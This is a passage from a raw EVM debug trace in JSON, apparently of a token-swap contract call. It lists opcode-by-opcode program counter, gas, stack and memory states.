89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2740,"op":"PUSH2","gas":101057,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2743,"op":"DUP7","gas":101054,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2744,"op":"DUP7","gas":101051,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2745,"op":"PUSH1","gas":101048,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2747,"op":"DUP2","gas":101045,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2748,"op":"DUP2","gas":101042,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2749,"op":"LT","gas":101039,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2750,"op":"PUSH2","gas":101036,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2753,"op":"JUMPI","gas":101033,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0","0x1","0xac9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2761,"op":"JUMPDEST","gas":101023,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2762,"op":"SWAP1","gas":101022,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2763,"op":"POP","gas":101019,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2764,"op":"PUSH1","gas":101017,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2766,"op":"MUL","gas":101014,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2767,"op":"ADD","gas":101009,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2768,"op":"PUSH1","gas":101006,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2770,"op":"DUP2","gas":101003,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2771,"op":"ADD","gas":101000,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0x20","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2772,"op":"SWAP1","gas":100997,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2773,"op":"PUSH2","gas":100994,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2776,"op":"SWAP2","gas":100991,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xe4","0xc4","0xade"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2777,"op":"SWAP1","gas":100988,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2778,"op":"PUSH2","gas":100985,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2781,"op":"JUMP","gas":100982,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x3b81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000